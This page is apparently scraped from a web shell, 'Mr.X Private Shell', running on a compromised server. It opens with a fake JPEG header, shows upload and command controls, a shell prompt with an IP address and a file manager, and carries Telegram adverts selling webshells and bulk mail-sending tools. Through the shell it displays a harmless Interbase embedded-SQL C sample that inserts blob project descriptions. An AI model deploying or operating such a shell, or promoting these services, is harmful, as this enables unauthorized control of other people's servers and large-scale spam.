����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/*
 *  Program type:   Embedded Static SQL
 *
 *  Description:
 *		This program updates a blob data type.
 *		Project descriptions are added for a set of projects.
 * The contents of this file are subject to the Interbase Public
 * License Version 1.0 (the "License"); you may not use this file
 * except in compliance with the License. You may obtain a copy
 * of the License at http://www.Inprise.com/IPL.html
 *
 * Software distributed under the License is distributed on an
 * "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
 * or implied. See the License for the specific language governing
 * rights and limitations under the License.
 *
 * The Original Code was created by Inprise Corporation
 * and its predecessors. Portions created by Inprise Corporation are
 * Copyright (C) Inprise Corporation.
 *
 * All Rights Reserved.
 * Contributor(s): ______________________________________.
 */

#include "example.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

char *get_line (void);

static char *Proj_data[] =
{
	"VBASE",
		"Design a video data base management system for ",
		"controlling on-demand video distribution.",
		0,
	"DGPII",
		"Develop second generation digital pizza maker ",
		"with flash-bake heating element and ",
		"digital ingredient measuring system.",
		0,
	"GUIDE",
		"Develop a prototype for the automobile version of ",
		"the hand-held map browsing device.",
		0,
	"MAPDB",
		"Port the map browsing database software to run ",
		"on the automobile model.",
		0,
	"HWRII",
		"Integrate the hand-writing recognition module into the ",
		"universal language translator.",
		0,
	0
};
int Inp_ptr = 0;

EXEC SQL
	BEGIN DECLARE SECTION;
EXEC SQL
	END DECLARE SECTION;


int main (void)
{
	BASED_ON project.proj_id	proj_id;
	ISC_QUAD	blob_id;
	int		len;
	char *		line; 
	int		rec_cnt = 0;

	EXEC SQL
		WHENEVER SQLERROR GO TO Error;

	/* Declare a blob insert cursor. */
	EXEC SQL
		DECLARE bc CURSOR FOR
		INSERT BLOB proj_desc INTO project;

	/*
	 *  Get the next project id and update the project description.
	 */
	line = get_line();
	while (line)
	{
		/* Open the blob cursor. */
		EXEC SQL
			OPEN bc INTO :blob_id;

		strcpy(proj_id, line);
		printf("\nUpdating description for project:  %s\n\n", proj_id);

		/* Get a project description segment. */
		line = get_line();	
		while (line)
		{
			printf("  Inserting segment:  %s\n", line);

			/* Calculate the length of the segment. */
			len = strlen(line);

			/* Write the segment. */
			EXEC SQL INSERT CURSOR bc VALUES (:line INDICATOR :len);
			line = get_line();
		}

		/* Close the blob cursor. */
		EXEC SQL
			CLOSE bc;

		/* Save the blob id in the project record. */
		EXEC SQL
			UPDATE project
			SET proj_desc = :blob_id
			WHERE proj_id = :proj_id;

		if (SQLCODE == 0L)
			rec_cnt++;
		else
			printf("Input error -- no project record with key: %s\n", proj_id);
		line = get_line();
	}

	EXEC SQL
		COMMIT RELEASE;

	printf("\n\nAdded %d project descriptions.\n", rec_cnt);
	return 0;
		
Error:
	isc_print_sqlerror((short) SQLCODE, isc_status);
	return 1;
}


/*
 *	Get the next input line, which is either a project id
 *	or a project description segment.
 */
char *get_line (void)
{
	return Proj_data[Inp_ptr++];
}


Filemanager

Name Type Size Permission Actions
stat1.e File 2.11 KB 0644
stat10.e File 3.82 KB 0644
stat11.e File 3.69 KB 0644
stat12.e File 3.09 KB 0644
stat12t.e File 2.08 KB 0644
stat2.e File 1.99 KB 0644
stat3.e File 2.44 KB 0644
stat4.e File 3.42 KB 0644
stat5.e File 2.75 KB 0644
stat6.e File 2.64 KB 0644
stat7.e File 2.48 KB 0644
stat8.e File 3.17 KB 0644
stat9.e File 3.45 KB 0644